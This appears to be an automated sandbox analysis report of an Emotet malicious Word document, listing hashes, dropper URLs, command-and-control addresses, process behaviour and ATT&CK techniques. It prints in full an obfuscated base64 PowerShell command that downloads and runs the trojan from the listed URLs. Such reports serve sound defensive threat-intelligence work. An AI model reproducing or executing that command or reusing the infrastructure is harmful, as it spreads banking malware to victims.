emotet | a49020010a8e7d4bc405bcc23b9351dc19467c3d466e2d903c6df903668d51cc

General

Target

emotet_e1_a49020010a8e7d4bc405bcc23b9351dc19467c3d466e2d903c6df903668d51cc_2020-10-14__230041998141._doc.doc
Size

132KB
MD5

40409631a9fb83e1ab8d02c2f8fa216d
SHA1

e6b8170c2ca200cb38d26a9ad836bc596d38ba6d
SHA256

a49020010a8e7d4bc405bcc23b9351dc19467c3d466e2d903c6df903668d51cc
SHA512

b83ee57533375a8642b71463cbdf27f9ccfdea2d71ed90f21c4bbe4942276c2519446d0c15548d36d985dd9b999be0f946934a8261b5e1a85a8adafc6c89e3ea

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

http://newcarturkiye.com/wp-admin/Sbp/

exe.dropper

http://lilianwmina.com/wp-includes/Y/

exe.dropper

http://hbmonte.com/wp-content/wer/

exe.dropper

http://thewakestudio.com/wp-admin/3D/

exe.dropper

http://formedbyme.com/wp-content/3e/

exe.dropper

http://unitedway.giving.agency/sys-cache/XnT/

exe.dropper

http://partners.ripplealpha.com/data/ultimatemember/L/

Extracted

Family

emotet

Botnet

Epoch1

C2

188.157.101.114:80

192.175.111.214:8080

95.85.33.23:8080

192.232.229.54:7080

181.30.61.163:443

186.70.127.199:8090

200.127.14.97:80

70.169.17.134:80

24.232.228.233:80

172.104.169.32:8080

50.28.51.143:8080

177.73.0.98:443

149.202.72.142:7080

37.187.161.206:8080

202.29.239.162:443

213.197.182.158:8080

202.134.4.210:7080

190.24.243.186:80

201.213.177.139:80

105.209.235.113:8080

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

POwersheLL.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3088	3856	POwersheLL.exe

Emotet Payload 4 IoCs

Detects Emotet payload in memory.

Processes:

resource	yara_rule
behavioral2/memory/2968-12-0x0000000002210000-0x000000000222F000-memory.dmp	emotet
behavioral2/memory/2968-13-0x0000000002230000-0x000000000224E000-memory.dmp	emotet
behavioral2/memory/1684-16-0x00000000020B0000-0x00000000020CF000-memory.dmp	emotet
behavioral2/memory/1684-17-0x0000000002170000-0x000000000218E000-memory.dmp	emotet

Blacklisted process makes network request 3 IoCs

Processes:

POwersheLL.exe

flow pid process

21 3088 POwersheLL.exe
23 3088 POwersheLL.exe
25 3088 POwersheLL.exe
Executes dropped EXE 2 IoCs

Processes:

V9ofyxp.exeefsadu.exe

pid process

2968 V9ofyxp.exe
1684 efsadu.exe
Drops file in System32 directory 1 IoCs

Processes:

V9ofyxp.exe

description ioc process

File opened for modification C:\Windows\SysWOW64\UserDataAccessRes\efsadu.exe V9ofyxp.exe

flow	pid	process
21	3088	POwersheLL.exe
23	3088	POwersheLL.exe
25	3088	POwersheLL.exe

pid	process
2968	V9ofyxp.exe
1684	efsadu.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\UserDataAccessRes\efsadu.exe	V9ofyxp.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

1468 WINWORD.EXE
1468 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 7 IoCs

Processes:

POwersheLL.exeefsadu.exe

pid process

3088 POwersheLL.exe
3088 POwersheLL.exe
3088 POwersheLL.exe
1684 efsadu.exe
1684 efsadu.exe
1684 efsadu.exe
1684 efsadu.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

POwersheLL.exe

description pid process

Token: SeDebugPrivilege 3088 POwersheLL.exe

pid	process
3088	POwersheLL.exe
3088	POwersheLL.exe
3088	POwersheLL.exe
1684	efsadu.exe
1684	efsadu.exe
1684	efsadu.exe
1684	efsadu.exe

description	pid	process
Token: SeDebugPrivilege	3088	POwersheLL.exe

Suspicious use of SetWindowsHookEx 11 IoCs

Processes:

WINWORD.EXEV9ofyxp.exeefsadu.exe

pid	process
1468	WINWORD.EXE
1468	WINWORD.EXE
1468	WINWORD.EXE
1468	WINWORD.EXE
1468	WINWORD.EXE
1468	WINWORD.EXE
1468	WINWORD.EXE
1468	WINWORD.EXE
1468	WINWORD.EXE
2968	V9ofyxp.exe
1684	efsadu.exe

Suspicious use of WriteProcessMemory 6 IoCs

Processes:

POwersheLL.exeV9ofyxp.exe

description	pid	process	target process
PID 3088 wrote to memory of 2968	3088	POwersheLL.exe	V9ofyxp.exe
PID 3088 wrote to memory of 2968	3088	POwersheLL.exe	V9ofyxp.exe
PID 3088 wrote to memory of 2968	3088	POwersheLL.exe	V9ofyxp.exe
PID 2968 wrote to memory of 1684	2968	V9ofyxp.exe	efsadu.exe
PID 2968 wrote to memory of 1684	2968	V9ofyxp.exe	efsadu.exe
PID 2968 wrote to memory of 1684	2968	V9ofyxp.exe	efsadu.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_a49020010a8e7d4bc405bcc23b9351dc19467c3d466e2d903c6df903668d51cc_2020-10-14__230041998141._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:1468

C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe
POwersheLL -ENCOD JABPAGMAYQB2AHAAOAAzAD0AWwBjAGgAYQByAF0ANAAyADsAJABVADYAOQBiAGoANAAwAD0AKAAoACcAQgBuACcAKwAnAHoAYgB2ACcAKQArACcAOABsACcAKQA7ACYAKAAnAG4AZQB3ACcAKwAnAC0AaQAnACsAJwB0AGUAbQAnACkAIAAkAGUAbgB2ADoAdQBTAEUAcgBwAHIATwBGAGkATABlAFwAQgAyADAARABZAGEAawBcAG8AdgBQAFEASABvADQAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABJAHIARQBjAHQAbwByAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMAZQBDAHUAUgBJAHQAYABZAHAAYABSAE8AVABgAG8AYwBPAEwAIgAgAD0AIAAoACgAJwB0AGwAcwAxADIAJwArACcALAAnACkAKwAnACAAJwArACcAdABsACcAKwAnAHMAMQAnACsAKAAnADEALAAgAHQAbAAnACsAJwBzACcAKQApADsAJABDAHUANgB5AGgAMQB6ACAAPQAgACgAJwBWACcAKwAoACcAOQBvAGYAJwArACcAeQAnACkAKwAnAHgAcAAnACkAOwAkAEgAcQBkAHcAbABqAGkAPQAoACcARwBiACcAKwAoACcANAAnACsAJwB1ADAAMQAnACkAKwAnAHMAJwApADsAJABIAHcAegBxADgAeAAxAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACgAKAAnAHsAMAAnACsAJwB9AEIAMgAwACcAKwAnAGQAeQAnACsAJwBhACcAKwAnAGsAewAwAH0ATwB2AHAAcQBoAG8ANAB7ADAAfQAnACkAIAAgAC0ARgAgACAAWwBjAEgAYQBSAF0AOQAyACkAKwAkAEMAdQA2AHkAaAAxAHoAKwAoACgAJwAuAGUAJwArACcAeAAnACkAKwAnAGUAJwApADsAJABVAHQAYgBrAGwAaQA2AD0AKAAnAEcAJwArACgAJwBhAHcAJwArACcAagBhAHkAJwApACsAJwBsACcAKQA7ACQAQQBjAGwAegBiADcANgA9ACYAKAAnAG4AZQAnACsAJwB3AC0AbwBiACcAKwAnAGoAZQBjAHQAJwApACAAbgBlAFQALgBXAGUAYgBjAEwAaQBFAE4AVAA7ACQAUQB0ADkAYgB3AGUAcQA9ACgAKAAnAGgAJwArACcAdAB0ACcAKQArACgAJwBwADoAJwArACcALwAnACkAKwAoACcALwBuACcAKwAnAGUAJwApACsAKAAnAHcAJwArACcAYwBhACcAKQArACcAcgAnACsAKAAnAHQAdQByAGsAaQAnACsAJwB5ACcAKwAnAGUALgBjACcAKwAnAG8AbQAvAHcAcAAtAGEAJwApACsAKAAnAGQAbQBpAG4ALwBTAGIAcAAnACsAJwAvACcAKwAnACoAaAAnACkAKwAnAHQAdAAnACsAJwBwACcAKwAoACcAOgAvAC8AJwArACcAbAAnACkAKwAoACcAaQAnACsAJwBsAGkAJwArACcAYQBuAHcAbQBpAG4AYQAuAGMAJwApACsAJwBvACcAKwAnAG0AJwArACgAJwAvAHcAJwArACcAcAAtACcAKQArACcAaQAnACsAKAAnAG4AYwAnACsAJwBsAHUAZABlACcAKQArACgAJwBzAC8AJwArACcAWQAvACcAKwAnACoAaAB0ACcAKwAnAHQAcAAnACkAKwAoACcAOgAvACcAKwAnAC8AaABiAG0AJwArACcAbwBuAHQAJwApACsAJwBlACcAKwAnAC4AYwAnACsAJwBvACcAKwAnAG0ALwAnACsAKAAnAHcAcAAnACsAJwAtACcAKQArACcAYwAnACsAKAAnAG8AJwArACcAbgAnACsAJwB0AGUAbgB0ACcAKQArACcALwAnACsAJwB3ACcAKwAnAGUAJwArACcAcgAnACsAKAAnAC8AKgAnACsAJwBoACcAKwAnAHQAdABwACcAKwAnADoALwAvAHQAJwApACsAKAAnAGgAZQAnACsAJwB3AGEAawAnACsAJwBlAHMAJwApACsAKAAnAHQAdQAnACsAJwBkAGkAJwApACsAJwBvAC4AJwArACgAJwBjAG8AJwArACcAbQAnACkAKwAnAC8AdwAnACsAKAAnAHAAJwArACcALQBhACcAKQArACgAJwBkAG0AJwArACcAaQAnACkAKwAnAG4ALwAnACsAJwAzAEQAJwArACgAJwAvACoAaAB0ACcAKwAnAHQAJwApACsAJwBwADoAJwArACcALwAnACsAJwAvAGYAJwArACcAbwByACcAKwAoACcAbQAnACsAJwBlAGQAYgB5AG0AZQAuACcAKwAnAGMAJwApACsAJwBvAG0AJwArACgAJwAvAHcAcAAnACsAJwAtAGMAbwBuAHQAJwApACsAKAAnAGUAJwArACcAbgB0ACcAKQArACcALwAzACcAKwAoACcAZQAvACoAaAAnACsAJwB0ACcAKQArACcAdAAnACsAKAAnAHAAOgAvACcAKwAnAC8AdQAnACkAKwAoACcAbgBpAHQAJwArACcAZQAnACkAKwAnAGQAdwAnACsAKAAnAGEAeQAnACsAJwAuACcAKQArACgAJwBnAGkAdgBpACcAKwAnAG4AZwAuACcAKwAnAGEAZwAnACkAKwAoACcAZQBuACcAKwAnAGMAJwApACsAJwB5ACcAKwAnAC8AcwAnACsAJwB5ACcAKwAoACcAcwAtACcAKwAnAGMAYQBjACcAKQArACcAaABlACcAKwAnAC8AJwArACcAWAAnACsAJwBuACcAKwAoACcAVAAnACsAJwAvACcAKwAnACoAaAB0AHQAcAA6ACcAKQArACcALwAvACcAKwAnAHAAJwArACcAYQByACcAKwAoACcAdABuACcAKwAnAGUAcgBzAC4AcgAnACkAKwAoACcAaQBwACcAKwAnAHAAbABlACcAKQArACgAJwBhAGwAcABoACcAKwAnAGEALgBjAG8AJwApACsAKAAnAG0ALwBkACcAKwAnAGEAJwArACcAdABhAC8AJwApACsAKAAnAHUAJwArACcAbAB0AGkAbQAnACkAKwAoACcAYQB0AGUAbQBlAG0AYgAnACsAJwBlACcAKwAnAHIALwBMACcAKQArACcALwAnACkALgAiAHMAUABsAGAAaQBUACIAKAAkAE8AYwBhAHYAcAA4ADMAKQA7ACQATAA1ADMANQB6AG0AZQA9ACgAKAAnAEQAcwAnACsAJwAzAHUAZQAnACkAKwAnADMAJwArACcAcAAnACkAOwBmAG8AcgBlAGEAYwBoACgAJABFADEAMwBqAGUAdwBzACAAaQBuACAAJABRAHQAOQBiAHcAZQBxACkAewB0AHIAeQB7ACQAQQBjAGwAegBiADcANgAuACIAZABgAE8AVwBuAEwAbwBBAGQAYABGAGkAYABMAGUAIgAoACQARQAxADMAagBlAHcAcwAsACAAJABIAHcAegBxADgAeAAxACkAOwAkAEwAZQBtAGYAdgBmADQAPQAoACgAJwBQAHEAbQAnACsAJwBrACcAKQArACcAeAAnACsAJwAwAGcAJwApADsASQBmACAAKAAoAC4AKAAnAEcAZQAnACsAJwB0AC0ASQB0AGUAJwArACcAbQAnACkAIAAkAEgAdwB6AHEAOAB4ADEAKQAuACIAbABlAGAATgBnAGAAVABIACIAIAAtAGcAZQAgADMAMgAwADcANAApACAAewAmACgAJwBJAG4AJwArACcAdgAnACsAJwBvAGsAZQAtAEkAdABlACcAKwAnAG0AJwApACgAJABIAHcAegBxADgAeAAxACkAOwAkAFAAZQBlADAAegB2AHEAPQAoACcARwAnACsAKAAnAGYANABxAGsAJwArACcAdABzACcAKQApADsAYgByAGUAYQBrADsAJABNADUANwBsAGcAdwBrAD0AKAAnAFMAJwArACgAJwBpAGoAJwArACcAYQA1ACcAKwAnAGYAZwAnACkAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQARQA2AHMAeABrAGYAMgA9ACgAKAAnAFgAMwBsAGEAXwAnACsAJwB3ACcAKQArACcAbAAnACkA
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3088

C:\Users\Admin\B20dyak\Ovpqho4\V9ofyxp.exe
"C:\Users\Admin\B20dyak\Ovpqho4\V9ofyxp.exe"
2⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2968

C:\Windows\SysWOW64\UserDataAccessRes\efsadu.exe
"C:\Windows\SysWOW64\UserDataAccessRes\efsadu.exe"
3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
PID:1684

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

C:\Users\Admin\B20DYak\ovPQHo4\V9ofyxp.exe
MD5
20882a2bd7e91707fcede0f3b603442c

SHA1
8e84e509a3a9c62198ef56684b132a2039829d54

SHA256
8c7d0b3a83c3605f4cb779efbe7ba74c32b8505e25db1ff832d14492894a1d9d

SHA512
3c89aaf0bb7a3d7829dd1e672a3b9c4d2a88daccd4f4c20e919e21c498f933669d186bcc01501662002ccbb84e99ec53e1206f375772aed8fb385d04632aa354

Download Submit
C:\Users\Admin\B20dyak\Ovpqho4\V9ofyxp.exe
MD5
20882a2bd7e91707fcede0f3b603442c

SHA1
8e84e509a3a9c62198ef56684b132a2039829d54

SHA256
8c7d0b3a83c3605f4cb779efbe7ba74c32b8505e25db1ff832d14492894a1d9d

SHA512
3c89aaf0bb7a3d7829dd1e672a3b9c4d2a88daccd4f4c20e919e21c498f933669d186bcc01501662002ccbb84e99ec53e1206f375772aed8fb385d04632aa354

Download Submit
C:\Windows\SysWOW64\UserDataAccessRes\efsadu.exe
MD5
20882a2bd7e91707fcede0f3b603442c

SHA1
8e84e509a3a9c62198ef56684b132a2039829d54

SHA256
8c7d0b3a83c3605f4cb779efbe7ba74c32b8505e25db1ff832d14492894a1d9d

SHA512
3c89aaf0bb7a3d7829dd1e672a3b9c4d2a88daccd4f4c20e919e21c498f933669d186bcc01501662002ccbb84e99ec53e1206f375772aed8fb385d04632aa354

Download Submit
memory/1468-0-0x00007FF84D4C0000-0x00007FF84DB86000-memory.dmp

Filesize
6.8MB

Download
memory/1684-14-0x0000000000000000-mapping.dmp

Download
memory/1684-16-0x00000000020B0000-0x00000000020CF000-memory.dmp

Filesize
124KB

Download
memory/1684-17-0x0000000002170000-0x000000000218E000-memory.dmp

Filesize
120KB

Download
memory/2968-9-0x0000000000000000-mapping.dmp

Download
memory/2968-12-0x0000000002210000-0x000000000222F000-memory.dmp

Filesize
124KB

Download
memory/2968-13-0x0000000002230000-0x000000000224E000-memory.dmp

Filesize
120KB

Download
memory/3088-8-0x000001C86E800000-0x000001C86E801000-memory.dmp

Filesize
4KB

Download
memory/3088-7-0x000001C86E650000-0x000001C86E651000-memory.dmp

Filesize
4KB

Download
memory/3088-6-0x00007FF846090000-0x00007FF846A7C000-memory.dmp

Filesize
9.9MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads